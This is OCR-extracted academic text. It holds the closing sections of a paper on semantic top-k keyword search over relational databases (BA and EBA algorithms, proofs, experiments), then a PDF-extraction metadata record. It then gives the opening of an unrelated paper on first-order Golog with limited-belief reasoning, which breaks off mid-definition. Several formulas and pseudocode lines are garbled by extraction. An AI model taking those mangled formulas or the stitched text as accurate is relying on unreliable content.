SSA first generates a set of candidate CNs. Each CN consists of the non-free tuples sets to the query, e.g. $\text{author}^0$ and $\text{paper}^0$ in Fig.3. Differently from the existing approaches, SSA progressively adds a CN by expanding non-free tuples by using a tuple set adjacent to the CN in the tuple set graph. For instance, when a keyword in $Q$ is “XML,” it firstly identifies “XML” in the relation $\text{paper}$, then it expands all terms that directly contains the keyword “XML.” SSA uses $\text{paper}$’s adjacent relation $\text{cites}$ to do the expansion. Since all papers in the relation $\text{paper}$ cite $\text{paper}.t5$, SSA expands values of non-free tuples to “DB” (the title of $\text{paper}.t5$) to construct a new CN.
In this section, we first propose a pre-processing approach to extending non-free tuples in CNs that indirectly contain query keywords, we then discuss that the proposed semantic ranking function satisfies the tuple monotonicity property[5], so that the existing approach can be employed by using the ranking function. We finally present two improved algorithms in Section 5.3.
5.1 Expanding Non-Free tuples in CNs
Given a query keyword $w$, the search algorithm expands $w$ to a term set indirectly containing $w$. Firstly, the algorithm identifies relation $R$ that contains the query keyword $w$, then it finds relations $S_1, S_2, \ldots, S_m$ that have foreign key constraints with $R$, i.e. $S_i.a_i \subseteq S_m.a_m (1 \leq i < m)$, the attribute $R.key$ has the same domain with the attributes $S_i.a_i$ and $S_m.a_m$. Equation (12) shows the set of terms $T_s(R,w)$ that indirectly contain $w$ in relation $R$.
$$T_s(R,w) = R_{R.key=S_m.a_m} (\pi_{S_m.a_m} (\delta_w (R) \bigcup_{R.key=S_i.a_i} S_i \bigcup_{S_{m-1}.a_{m-1}=S_m.a_m} S_{m-1} \bigcup_{S_{m-2}.a_{m-2}=S_m.a_m} S_{m-2} \ldots S_{m-1} \ldots S_1))$$
(12)
Different from the existing approaches, non-free tuples in CNs can be terms in either $Q$ or $T_s(R,w)$. For example, in Fig.1, papers with ids $p_1$, $p_3$, and $p_4$ cite paper $p_5$ in relation $\text{cites}$, thus $T_s(R, “XML”) = \{\text{paper}.t5\}$. Given a query $Q=\{\text{Jane}, \text{XML}\}$, under indirect containment semantic, we can get two results: $R_1=\text{author}.t1 \leftarrow \text{writes}.t1 \rightarrow \text{paper}.t1$ and $R_2=\text{author}.t1 \leftarrow \text{writes}.t2 \rightarrow \text{paper}.t5$, while the existing approaches can only get one result $R_1$.
5.2 Tuple monotonicity
A naive algorithm to get semantic top-$k$ results includes the following two steps: (i) calculate candidate CNs using non-free tuples $R \cup T_s(R,w)$, and (ii) for each candidate tuple tree $T$, calculate $\text{score}(T,Q)$ using Equation (11) and choose $k$ tuple trees with largest ranking values. Obviously, the naive approach calculates many tuple trees that do not belong to the top-$k$ results. Literature[3] uses sparse algorithm to calculate top-$k$ results. In this section, we first prove that the sparse algorithm[3] can also be employed under our semantic-based scenarios. That is, semantic-based ranking function satisfies tuple monotonicity property[3].
Theorem 1. Given a CN, the semantic ranking function \( \text{score}(T, Q) \) satisfies the tuple monotonicity property, i.e. for every query \( Q \) and joining trees of tuples \( T \) and \( T' \) derived from the same CN such that (i) \( T \) consists of tuples \( t_1, \ldots, t_m \) while \( T' \) consists of tuples \( t'_1, \ldots, t'_m \), and (ii) \( \text{score}_p(t_i, Q) \geq \text{score}_p(t'_i, Q) \) for all \( i \), it follows that \( \text{score}(T, Q) \geq \text{score}(T', Q) \).
Proof: We consider the cases that the non-free tuples in \( T \) and \( T' \) directly and indirectly contain the query keywords in \( Q \) respectively.
1. We start from the non-free tuple set \( R_1, \ldots, R_m \). Suppose that \( t_1, \ldots, t_m \) are non-free tuples in the tuple tree \( T \) that directly contain \( w_1, \ldots, w_m \left( w_i \in Q \right) \), respectively. If non-free tuples in \( T' \) also directly contain keywords in \( Q \), then it follows that the same observation with \( C^{[4,5]} \), i.e. \( \text{score}(T, Q) \geq \text{score}(T', Q) \) holds. If non-free tuples in \( T' \) indirectly contain keywords in \( Q \), then we prove for each \( i \), \( (1 - \theta) \cdot \text{score}_p(t_i, Q) + \theta \cdot \text{score}_p(t'_i, Q) \geq (1 - \theta) \cdot \text{score}_p(t'_i, Q) + \theta \cdot \text{score}_p(t'_i, Q) \).
According to Equation (5), \( \text{score}(t'_i, w) = (1 - \theta) \cdot \text{score}_p(t'_i, w) + \theta \cdot \text{score}_p(t_i, w) \).
From Lemma 1, we get \( \text{score}(t'_i, w) \leq (1 - \theta) \cdot \text{score}_p(t'_i, w) + \theta \cdot \text{score}_p(t_i, w) \).
Now we prove \( (1 - \theta) \cdot \text{score}_p(t'_i, w) + \theta \cdot \text{score}_p(t_i, w) \leq (1 - \theta) \cdot \text{score}_p(t'_i, w) \), i.e.
\[
\theta \leq \frac{\text{score}_p(t_i, w) - \text{score}_p(t'_i, w)}{2(\text{score}_p(t_i, w) - \text{score}_p(t'_i, w)) + \text{score}_p(t'_i, w)} < 0.5. \text{ It is consistent with the definition of the score function in Equation (7), i.e. } \text{score}(T, Q) \geq \text{score}(T', Q) \text{ holds.}
\]
2. Suppose that \( t_1, \ldots, t_m \) are non-free tuples in the tuple tree \( T \) that indirectly contain \( w_1, \ldots, w_m \left( w_i \in Q \right) \), respectively. Obviously, when we construct a CN using terms that indirectly contain the query keywords, the algorithm SSA already calculated the score value \( \text{score}(T, Q) \) in the current CN. That is, it follows the same observation with \( C^{[4,5]} \), i.e. \( \text{score}(T, Q) \geq \text{score}(T', Q) \) holds.
\[
\Box
\]
Theorem 2. Given a set of CNs, let \( C \) be a CN such that its \( \text{score}_c(T, Q) \) is the \( k \)-th largest score. For any CN \( C' \), if its \( \text{score}_c(T', Q) \) is less than \( \text{score}_c(T, Q) \), then the remaining tuple trees in \( C' \) are not candidates.
Proof: From Equations (10) and (11), we know \( \text{score}_c(T, Q) \leq \text{score}(T, Q) \). So, if a tuple tree \( T' \) whose \( \text{score}(T', Q) \) is less than \( \text{score}(T, Q) \), then its semantic score \( \text{score}(T', Q) \) must be less than \( \text{score}_c(T, Q) \). Since \( T \) is the \( k \)-th closest CN to answer the query \( Q \), the tuple tree \( T' \) can be safely pruned.
\[
\Box
\]
5.3 Semantic Top-k algorithm
For each CN, the existing approaches probe the database to evaluate tuples one by one and generate \( k \) candidate tuple trees. The final top-\( k \) results are chosen from the candidate tuples trees of all CNs. In order to improve query performance in a single CN, the tuples can be grouped into blocks to save the times of probing the database. Two algorithms namely BA (Block Algorithm) and EBA (Early-stopping Block Algorithm) are proposed in this paper.
5.3.1 Block algorithm (BA)
Given a CN \( C \). For each query keyword \( w_i \), we rank tuples in \( R \cup T \) \( R(w_i) \) in descending order. In order to avoid frequently probing database, we divide tuples in \( R \cup T \) \( R(w_i) \) into several equal-sized data blocks. In each iteration step, a data block, which contains tuples with highest scores are fetched from \( R \cup T \) \( R(w_i) \) to generate candidate \( k \) tuple trees with \( k \) largest semantic scores.
Figure 4 shows the BA algorithm. BA fetches a data block $B$ from each $R_i$ that directly contains the query keyword $w_i$. It obtains tuples $T_s(B, w_i)$ that indirectly contain $w_i$ by joining with other relations in the tuple set graph. A temporary relation $S_T$ is used for storing all the tuples that provide either direct contribution ratio or indirect contribution ratio to $w_i$. $S_T$ is defined as a triple $\langle id, score_D, score_I \rangle$, where id is the identifier attribute of tuples in $B$, $score_D$ records the direct contribution ratio to $w_i$, and $score_I$ records the indirect contribution ratio to $w_i$. $S_T$ ranks its tuples according to the descending order of $score(t, \{w_i\})$ shown in Eq.(7), where $t$ is a tuple in $B \cup T_s(B, w_i)$. BA then invokes the function GenCandidate() to generate candidate tuple trees.
Algorithm 1. BA
Input: Query $Q = \{w_1, w_2, \ldots, w_n\}$; tuple set graph $G$; a CN $C$; $k$
Output: A queue containing top-$k$ results $Res$ in $C$
1. FOR (each $w_i$ in $Q$) { //find all tuples that directly or indirectly contain $w_i$
2. $B =$ next block from $R_i$;
3. Calculate $T_s(B, w_i)$ using Equation (12);
4. Order tuples in $T_s(B, w_i)$ in descending order using their semantic ranking scores;
5. Generate $S_T$ such that tuples in it are ranked in descending order according to $score(t, \{w_i\});$
}
6. $Res =$ GenCandidate($Q$, $G$, $C$, $k$, $S_T$);
7. Return $Res$;
Fig.4 BA algorithm
Function: GenCandidate
Input: Relations $R_1, \ldots, R_m$; query $Q = \{w_1, w_2, \ldots, w_n\}$; a CN $C$; $k$
Output: A queue containing top-$k$ results $Res$ in $C$
1. $Res = \emptyset;$
2. FOR (each $w_i$ in $Q$)
3. $checked_i = \emptyset;$
4. WHILE (|Res| $< k$) {
5. $checked_i = checked_i \cup S_T$; // checked_i is a set of checked tuples that contain $w_i$
6. Construct a tuple tree $T$ such that its non-free tuple contains tuples in $checked_i$;
7. $Res.$push_back($T$);
}
8. Return $Res$;
Fig.5 GenCandidate() function in BA algorithm
For each CN, the function GenCandidate() joins adjacent relations with $R_i$ in the tuple set graph, and calculates the semantic ranking function $score_s(T, Q)$ for each tuple tree $T$. The tuples trees with the first $k$ largest semantic scores are candidate tuple trees.
5.3.2 Early-Stopping block algorithm (EBA)
It is unnecessary to generate all $k$ results for each CN. EBA enhances the BA algorithm by providing a filtering threshold to prune non-candidates. At the beginning of the search algorithm, the threshold is set to be 0. During the processing of all CNS, EBA always keeps the $k$-th maximal possible score value as a filtering threshold. Only a candidate tuple tree whose score larger than the threshold, it can be returned as a candidate.
Figure 6 shows the GenCandidate() function in EBA algorithm. Differ from the function in Fig.5, EBA stores the filtering threshold. In Line 4, EBA generates a candidate only when there is no enough results generated and the semantic score is larger than the filtering threshold $T^k$. The value of $T^k$ increases when more tuples in CNs are processed, which saves more iterative steps.
For example, given 5 CNs. BA algorithm chooses 5 tuple trees within each CN and chooses the top-5 results among these candidate CNs. EBA also chooses 5 tuple trees within the first processing CN. Then, it uses the semantic score of the 5th tuple tree as the filtering threshold $T^k$. When processing the second CN, only a tuple tree whose score is larger than $T^k$ and is ranked within top-5 tuple trees can be regarded as candidate. Therefore, the filtering threshold increases when more CNs are processed.
Function: GenCandidate
Input: Relations R, S₁, ..., Sₘ; query Q = {w₁, w₂, ..., wₙ}; filtering threshold tₖ; a CN C;
Output: A queue containing top-k results Res in C;
4. max_score = 0; flag = TRUE;
5. WHILE (|Res| < k & & flag) {
6. checked = checked ï STi; // checked is a set of checked tuples that contain wᵢ,
7. Construct a tuple tree T such that its non-free tuple contains tuples in checked;
8. max_score = scoreS(T, Q); // calculate semantic ranking function as the maximal possible score
9. IF (max_score > tₖ) {
10. Res.push_back(T);
11. T = the (k−1)-th semantic score in the candidate tuple trees;
12. ELSE flag = false;
13. }
11. Return Res;
Fig.6 GenCandidate() function in EBA algorithm
6 Experimental Results
In order to evaluate the effectiveness of the proposed semantic ranking function and the efficiency of BA and EBA algorithms, we have conducted extensive experiments on large-scale real datasets.
We used two real data sets. The first one was about course information of University of Washington, download from the data archive in University of Illinois. The second data set was from DBLP. All the algorithms were implemented using JDK 1.5 and JDBC to connect database Oracle 9i. The experiments were run on a PC with an Intel Pentium 3.0 GHz CPU and 512M memory with a 160GB disk, running a Windows XP operating system.
Experiments are conducted to test two aspects: (i) quality of search results, and (ii) performance of the search algorithms. In the remaining of the paper, search time includes time cost to generate CNs (Candidate Networks) without considering the time of obtaining tuples directly containing wᵢ. The primary reason of ignoring the time of fetching tuples from DBMS is that we can employ the DBMS search engine to do exactly search and get all tuples directly contain the keyword wᵢ. In this paper, we focus on the following orthogonal issues: expanding terms that indirectly contain wᵢ, choosing candidate CNs, and using filtering threshold to stop iterations in a single CN.
We manually constructed two sets of queries (Q₁, Q₂,…,Q₂₀) for DBLP dataset and the third set of queries (Q₂₁, Q₂₂,…,Q₃₀) for courses dataset. The first set of queries include ten queries (Q₁, Q₂,…,Q₁₀), which involve single CNs that derived from the DBLP tuple set graph, while the second set of queries include another ten queries (Q₁₁, Q₁₂,…,Q₂₀), which involve multiple CNs, i.e. a wide variety of keywords and their combinations. The queries (Q₂₁, Q₂₂,…, Q₃₀) were involved multiple CNs derived from the courses tuple set graph. We implemented the global pipeline (GP) algorithm[3] to generate top-k results without considering semantic correlation, and compared BA and EBA algorithms with the GP algorithm. We manually determined 150 tuples as one block for DBLP and 200 tuples as one block for course according to their different data distributions.
6.1 Effective of semantic ranking function
In order to test the effectiveness of the proposed semantic ranking function, we used recall and top-k precision to do the evaluation. Recall is a ratio of the number of relevant tuple trees searched over the overall number of relevant tuple trees in the database. Recall=1 means search algorithm can successfully retrieve all relevant tuple trees. Top-k precision is a ratio of the number of returned results that are among tuple trees of top-k highest scores over k results.
We compared the recall and top-10 precision between GP and EBA algorithms using queries Q₁, Q₂,…, and Q₁₀ (The test results of queries Q₁₁, Q₁₂,…, and Q₂₀ are similar). We used 0.2 as the coefficient θ. Figure 7(a) shows the recall values of GP and EBA, respectively. Since BA and EBA always have the same recall values, the recall of
BA is not plotted. As the figure shows, the recall values of EBA values are all exceed 0.7, and among which the recall values of four queries reached 1. On the other hand, the highest recall value of GP was 0.8. Therefore, EBA can search more relevant results. The reason of achieving high recalls is that the proposed semantic ranking function can discover answers that indirectly contain query keywords and considers the semantic correlation, while GA only gets answers directly containing query keywords.
Figure 7(b) shows the top-10 precisions of GP and EBA. 90% of top-k precisions of EBA were higher than GA. Using EBA, 90% queries achieved more than 0.8 top-k precisions, while using GP, only 30% queries exceeded 0.8 top-k precisions. The results show that GP determines the top-k results merely based on their direct contribution ratio, therefore, it runs the risk of missing answers with lower direct contribution ratios but higher indirect contribution ratios. Instead, EBA strikes a balance between the direct contribution ratios, indirect contribution ratios, and semantic similarity. It determines the relevance of answers to queries more accurately and comprehensively. Figure 8(a) and (b) show the similar results on courses dataset.
6.2 Effect of k values on query performance
Figure 9 shows the execution time when varying k values from 1 to 20. We choose query Q7 to test the execution time of different top-k queries. Figure 9(a) shows the running time of query Q7. When k was small, GP performed quicker than BA and EBA. The reason is that GP only needs small number of iterations to get tuple trees with highest scores, whereas BA and EBA accessed one data block at each iteration, which produces much more number of tuple trees that cannot answer the query. However, when k increased, GA needed more iterations than BA and EBA, which result in more frequent database probes. Furthermore, EBA and BA required the same running time when k was small (e.g. k=1) for additional computations. As k increased, EBA performed better than BA and GP algorithms, since EBA used filtering threshold to saves more iterative steps. Figure 9(b) shows average running time of queries Q1, Q2, ..., and Q10 when varying k from 1 to 20. The test results were similar with the result of Q7.
6.3 The effect of queries on query performance
Figure 10 shows how the effect of different queries \((Q_{11}, Q_{12}, ..., Q_{20})\) on the running time. Figure 10(a) is the running time of top-5 queries and Fig.10(b) is the running time of top-15 queries. We can see that EBA performs better than BA and GP for all the queries that involved in multiple CNs. EBA retrieved all desirable top-5 results within 200ms and top-15 results within 300ms, compared with other algorithms, EBA sustained a high query performance. Different queries led to generate various CNs with different sizes as well as time complexity, which plays a major role in the overhead of a single database probe. That is, more complex and larger a CN is, more overhead it needs for a database probe.
7 Conclusions
In this paper, we studied semantics-based Top-\(k\) keyword search over relational databases. We proposed a novel semantic ranking function, which not only adapts the state-of-the-art IR ranking function and more importantly, it encompasses semantic features. We also studied search methods tailored to support our ranking function. Two Top-\(k\) algorithms namely BA and EBA are proposed which process data in block, minimize database probes and can more comprehensively and effectively search out relevant results. We have conducted extensive experiments on large-scale databases. The experimental results show that the semantic ranking function is adequate and proposed algorithms are effective and efficient.
References:
附中文参考文献:
|
{"Source-Url": "http://www.jos.org.cn/1000-9825/19/2362.pdf", "len_cl100k_base": 12525, "olmocr-version": "0.1.50", "pdf-total-pages": 14, "total-fallback-pages": 0, "total-input-tokens": 55956, "total-output-tokens": 14759, "length": "2e13", "weborganizer": {"__label__adult": 0.0004372596740722656, "__label__art_design": 0.0006470680236816406, "__label__crime_law": 0.0007114410400390625, "__label__education_jobs": 0.01132965087890625, "__label__entertainment": 0.00022685527801513672, "__label__fashion_beauty": 0.00031495094299316406, "__label__finance_business": 0.0012826919555664062, "__label__food_dining": 0.00054168701171875, "__label__games": 0.0012960433959960938, "__label__hardware": 0.0010461807250976562, "__label__health": 0.0010366439819335938, "__label__history": 0.0007433891296386719, "__label__home_hobbies": 0.00016808509826660156, "__label__industrial": 0.0006704330444335938, "__label__literature": 0.001216888427734375, "__label__politics": 0.00042510032653808594, "__label__religion": 0.0006256103515625, "__label__science_tech": 0.42529296875, "__label__social_life": 0.00025963783264160156, "__label__software": 0.06298828125, "__label__software_dev": 0.487548828125, "__label__sports_fitness": 0.00027251243591308594, "__label__transportation": 0.0007162094116210938, "__label__travel": 0.0002987384796142578}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 47513, 0.04253]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 47513, 0.364]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 47513, 0.80968]], "google_gemma-3-12b-it_contains_pii": [[0, 2429, false], [2429, 4760, null], [4760, 8549, null], [8549, 12656, null], [12656, 17049, null], [17049, 20428, null], [20428, 24449, null], [24449, 28236, null], [28236, 32530, null], [32530, 36210, null], [36210, 39973, null], [39973, 42269, null], [42269, 44498, null], [44498, 47513, null]], "google_gemma-3-12b-it_is_public_document": [[0, 2429, true], [2429, 4760, null], [4760, 8549, null], [8549, 12656, null], [12656, 17049, null], [17049, 20428, null], [20428, 24449, null], [24449, 28236, null], [28236, 32530, null], [32530, 36210, null], [36210, 39973, null], [39973, 42269, null], [42269, 44498, null], [44498, 47513, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 47513, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 47513, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 47513, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 47513, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 47513, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 47513, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 47513, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 47513, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 47513, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 47513, null]], "pdf_page_numbers": [[0, 2429, 1], [2429, 4760, 2], [4760, 8549, 3], [8549, 12656, 4], [12656, 17049, 5], [17049, 20428, 6], [20428, 24449, 7], [24449, 28236, 8], [28236, 32530, 9], [32530, 36210, 10], [36210, 39973, 11], [39973, 42269, 12], [42269, 44498, 13], [44498, 47513, 14]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 47513, 0.07968]]}
|
olmocr_science_pdfs
|
2024-12-01
|
2024-12-01
|
736a8767370bbed301b310a89e6d06dc0b07a26c
|
Tractable First-Order Golog with Disjunctive Knowledge Bases
Jens Claßen and Gerhard Lakemeyer
Department of Computer Science
RWTH Aachen University
Germany
<classen|gerhard>@cs.rwth-aachen.de
Abstract
While based on the Situation Calculus, current implementations of the agent control language Golog typically avoid offering full first-order capabilities, but rather resort to the closed-world assumption for the sake of efficiency. On the other hand, realistic applications need to deal with incomplete world knowledge including disjunctive information. Recently Liu, Lakemeyer and Levesque proposed the logic of limited belief $SL$, which lends itself to efficient reasoning in incomplete first-order knowledge bases. In particular, $SL$ defines levels of belief which limit reasoning by cases in a principled way. In this paper, we propose to apply $SL$-based reasoning in the context of a Golog system. Central to our approach is a new search operator that finds plans only within a fixed belief level $k$, and an iterative-deepening-style variant where instead of considering plans with increasing length, the belief level $k$ is incremented in each cycle. Thus, not the shortest plans are preferred, but those which are the computationally cheapest to discover.
Introduction
The agent language Golog (Levesque et al. 1997) has already been applied in many application scenarios, including the control of autonomous mobile robots (Ferrein and Lakemeyer 2008). The language is based on the Situation Calculus (McCarthy and Hayes 1969; Reiter 2001), which in the theoretical formalization is a dialect of first-order predicate calculus. However, current implementations of Golog typically avoid to offer full first-order capabilities, but rather resort to the closed-world and/or domain closure assumptions for the sake of efficiency of reasoning. On the other hand, realistic applications such as mobile robotics, almost inevitably one has to cope with incomplete world knowledge, in particular in the form of disjunctive information. Furthermore, as the task of an autonomous robot is usually open-ended, not all individuals (persons or objects) it has or will have to deal with are known in advance.
$SL$, the subjective logic of limited belief proposed by Liu, Lakemeyer and Levesque (2004) is a formalism for efficient reasoning with incomplete first-order knowledge bases. They define a family of believe operators $B_0$, $B_1$, $B_2$, ... where intuitively $B_0$ corresponds to the agent’s explicit belief and implicit beliefs become only available at higher belief levels, where the greater $k$, the computationally more expensive, roughly measured in terms of the number of nested case distinctions. When $k$ is fixed, then whether $B_0KB$ implies $B_k\phi$ is decidable, and when the KB is in a certain form, reasoning is also tractable. Furthermore, the inference is classically sound in the sense that when $B_0KB$ implies $B_k\phi$ in $SL$, then $KB$ entails $\phi$ in classical predicate logic.
For the above mentioned reasons, we believe that it is beneficial to apply $SL$-based reasoning in the context of a Golog system. Apart from the fact that reasoning within a fixed level $k$ can be done efficiently, belief levels offer the possibility to define a new planning operator that prefers plans with least computational costs. To illustrate the idea, consider a Golog program of the following form:
$$\psi?; a | \psi?; b; c$$
There is a nondeterministic choice ($|$) between two branches: if formula $\psi$ holds, action $a$ can be executed, or when formula $\varphi$ holds, action sequence $b; c$ could be performed. Planning here means to resolve the nondeterminism and thus commit to one or the other branch. A classical Golog system will typically test the branches in the presented order, meaning it first checks whether the action sequence $\langle a \rangle$ constitutes a legal execution, which involves checking if $\psi$ is known to hold according to the system’s knowledge base. Formula $\varphi$ and sequence $\langle b, c \rangle$ will only be tested once Golog found out that it is not possible to execute the left branch successfully. Alternatively, the system might apply some iterative deepening strategy, which always yields the shortest action sequences. Still, when the left branch in the above example is executable, the system would prefer it over the right one. In any case, no attention is paid to the computational effort involved.
Now assume that $\varphi$ can instantly be inferred from the agent’s knowledge base (say if it is a fact that is explicitly known to be true), but $\psi$ is quite complicated and requires extensive reasoning. In particular when the decision has to be made quickly (e.g. think of robot soccer) or when the additional reasoning time outweighs the time saved by performing fewer actions, it may pay off to prefer possibly longer plans that however involve less reasoning.
As our running example, consider a mobile robot working in an office environment. There is one employee, Carol, who wants to have a look at a certain book. The department
possesses two copies, where one \textit{(book1)} is usually located in the library \textit{(lib)} and the other one \textit{(book2)} in the lab \textit{(lab)}. She gives the robot the following orders: “If \textit{book1} is in the library, bring it to me or if \textit{book2} is in the lab, bring it after unlocking the lab door.” This might be expressed as follows in a Golog program:
\[
\begin{align*}
A t(b o o k 1, l i b) & \vee g e t(b o o k 1, l i b) \\
A t(b o o k 2, l a b) & \vee u n l o c k(l a b) \vee g e t(b o o k 2, l a b)
\end{align*}
\]
Now assume that the robot explicitly knows from a recent observation that \textit{book2} actually is in the lab. On the other hand, it only knows that it saw \textit{book1} yesterday in the office shared by Ann and Bob, meaning one of them borrowed it. The robot also knows that whoever borrows a book will return it to the library in the evening on the same day. As working hours have just begun, all books that were borrowed yesterday will now be in the library. Obviously, this knowledge is sufficient to deduce that \textit{book1} is in the library, but whereas retrieving the explicit fact \textit{A t(book2, lab)} from the knowledge base basically requires no reasoning at all, deriving \textit{A t(book1, lib)} involves one case distinction: Either Ann or Bob borrowed the book, but in any case, it has been returned. Therefore intuitively, \textit{A t(book2, lab)} is already available at belief level zero, but \textit{A t(book1, lib)} only at higher levels.
In this paper we propose to apply the idea of iterative deepening on belief levels instead of on action sequence lengths. It will first be tested whether any of the program’s possible execution traces can be verified to succeed by reasoning at level zero. Only if this is not the case, the level will be increased to one etc. Thus, the first successful execution trace to be found will also be the one that needs the least computational effort, which allows to obtain solutions much quicker in many cases.
The remainder of the paper is organized as follows. In the next section, we give the formal syntax and semantics of the logic on which our approach is based. Next, we present some results that relate the formalism to existing languages. Finally, we sketch possible directions for future work.
**Definitions**
In this section, we introduce our new logic \textit{SLA} formally. The language is basically an extension of Liu, Lakemeyer and Levesque’s (2004) logic of limited belief \textit{SL} by aspects of the modal Situation Calculus variant \textit{ESS} (Lakemeyer and Levesque 2004) for modelling action and change.
**Syntax**
Terms The terms of the language come in two sorts: \textit{object} and \textit{action}. A term of sort object is either an object variable \((x_1, x_2, \ldots)\) or an object constant \((d_1, d_2, \ldots, \text{e.g.} \text{ lab})\). An action term is either an action variable \((a_1, a_2, \ldots)\) or of the form \(g(t_1, \ldots, t_n)\), where \(g\) is an action function of arity \(n\) (e.g. \textit{unlock}) and the \(t\) are object terms.
Formulas The \textit{objective formulas} form the least set where
1. any atom of the form \(F(t_1, \ldots, t_n)\) is an objective formula, where \(F\) is a fluent predicate symbol of arity \(n\) (e.g. \textit{At}) and the \(t\) are object terms;
2. when \(t_1\) and \(t_2\) are terms of sort object, then \(t_1 = t_2\) is an objective formula;
3. when \(t\) is a non-variable term of sort action, \(x\) an object variable, and \(\phi, \phi'\) are objective formulas, then so are \(\lbrack t \rbrack \phi\), \(\text{Poss}(t)\), \(\exists x \phi\), \(\neg \phi\), and \(\phi \lor \phi'\).
We read \(\lbrack t \rbrack \phi\) as “\(\phi\) holds after doing action \(t\)” and \(\text{Poss}(t)\) as “action \(t\) is possible to execute”. We further call an objective formula \textit{static} when it does not contain any action terms. Note that we disallow equalities and quantification over actions. The \textit{subjective formulas} form the least set with
1. if \(\phi\) is an objective formula and \(k \geq 0\), then \(B_k \phi\) is a subjective formula and called a believe atom at level \(k\);
2. if \(t_1\) and \(t_2\) are terms of sort object, then \((t_1 = t_2)\) is a subjective formula;
3. if \(\varphi_1\) and \(\varphi_2\) are subjective formulas and \(x\) is a variable of sort object, then \(\neg \varphi_1\), \((\varphi_1 \lor \varphi_2)\) and \(\exists x \varphi_1\) are also subjective formulas.
The language \textit{SLA} is the set of all subjective formulas as defined above. Therefore, very much similar to \textit{SL}, all (fluent) predicates other than equality must occur within the scope of a \(B_k\) operator, which must not be nested. Here, we further require that also \(\lbrack t \rbrack\) and \(\text{Poss}(t)\) operators do not appear outside of \(B_k\). The fact that we only study formulas talking about the agent’s beliefs about the world state is why the language is called \textit{subjective logic}, or in our case, \textit{subjective logic of actions}. \((\varphi_1 \land \varphi_2), \forall x \varphi, (\varphi_1 \lor \varphi_2)\) and \((\varphi_1 \equiv \varphi_2)\) are treated as the usual abbreviations.
**Programs** Programs are composed according to the following grammar:
\[
\delta ::= t \mid \lbrack \phi \rbrack \mid \{\delta_1 ; \delta_2\} \mid (\delta_1 | \delta_2) \mid \pi x . \delta \mid \delta^*
\]
Here, \(t\) is any (not necessarily ground) term of sort action, \(\phi\) can be any objective formula, and \(x\) an object variable. In the presented order, the constructs mean a primitive action, a test, sequence of programs, nondeterministic choice between programs, nondeterministic choice of argument, and nondeterministic iteration.
**Regression and Basic Action Theories**
Before we define the logic’s formal semantics, we introduce basic action theories and regression, following (Lakemeyer and Levesque 2004). The language for basic action theories consists of the objective formulas defined above and extended by another modal operator \(\Box\), where \(\Box \alpha\) reads “\(\alpha\) holds after every sequence of actions.”, as well as equality atoms \((t_1 = t_2)\) among action terms, where at most one of the \(t_i\) is a variable. A formula without \(\text{Poss}(t)\) and \(\lbrack t \rbrack\), but possibly containing such action equalities, is called quasi-static.
**Definition 1 (Basic Action Theory)** Given a set of fluent predicates \(F\), a set of sentences \(\Sigma\) is called a basic action theory over \(F\) iff it only mentions the fluents in \(F\) and is of the form \(\Sigma = \Sigma_0 \cup \Sigma_d\), where \(\Sigma_d = \Sigma_{pes} \cup \Sigma_{post}\) and...
• $\Sigma_0$ is a finite set of static sentences,
• $\Sigma_{pos}$ is a singleton of the form $\square(\text{Poss}(a) \equiv \pi)$, where $\pi$ is quasi-static with $a$ being the only free variable;
• $\Sigma_{post}$ is a finite set of successor state axioms of the form $\square((a \models F(\overrightarrow{x})) \equiv \gamma_F)$, one for each fluent $F \in F$, where $\gamma_F$ is a quasi-static formula whose free variables are among $x$ and $a$.
In our example, we might have an initial KB $\Sigma_0$ containing
\[ \text{At}(\text{book}2, \text{lab}), \]
\[ \text{Borrowed} (\text{ann}, \text{book}1) \lor \text{Borrowed} (\text{bob}, \text{book}1), \]
where $\text{Borrowed}(x, y)$ means that person $x$ borrowed $y$ yesterday.
The preconditions axioms in $\Sigma_{pre}$ are given by:
\[ \square\text{Poss}(a) \equiv \exists x(a = \text{unlock}(x) \lor a = \text{lock}(x)) \lor \exists y((a = \text{get}(x, y) \lor a = \text{put}(x, y)) \land \neg \text{Locked}(y)) \]
That is locking or unlocking is always possible, but putting or getting something only when the according location is not locked. The successor state axioms in $\Sigma_{post}$ are
\[ \square a \models \text{At}(x, y) \equiv a = \text{put}(x, y) \land \text{At}(x, y) \land a \neq \text{get}(x, y) \]
\[ \square a \models \text{Locked}(x) \equiv a = \text{lock}(x) \lor \text{Locked}(x) \land a \neq \text{unlock}(x) \]
Whereas Lakemeyer and Levesque (2004) provide a complete model-theoretic semantics for $\square$ and $\lnot$ within their logics $\mathcal{ES}$, we here adapt a view similar to (Liu, Lakemeyer, and Levesque 2004): i.e. we are interested in the implicit conclusions an agent can draw, given certain explicit beliefs, and the computational costs for doing so. In our encoding, the precondition and successor state axioms of basic action theories are part of the agent’s explicit belief, and conclusions about future situations are drawn using regression.
Regression is a method for computing projections by syntactically transforming a formula talking about future situations (after performing certain actions) into an equivalent formula that only talks about the current situation. We use an adaptation of Lakemeyer and Levesque’s $\mathcal{ES}$ variant of Reiter’s (1982) regression operator as follows:
**Definition 2 (Regression)** Formally, for any objective formula $\alpha$, let $R[\Sigma_d, \alpha]$, the regression of $\alpha$ wrt $\Sigma_d$, be the formula $R[\Sigma_d, \alpha]$, where for any sequence of action terms $\sigma$ (not necessarily ground), $R[\Sigma_d, \sigma, \alpha]$ is defined inductively on $\alpha$ by:
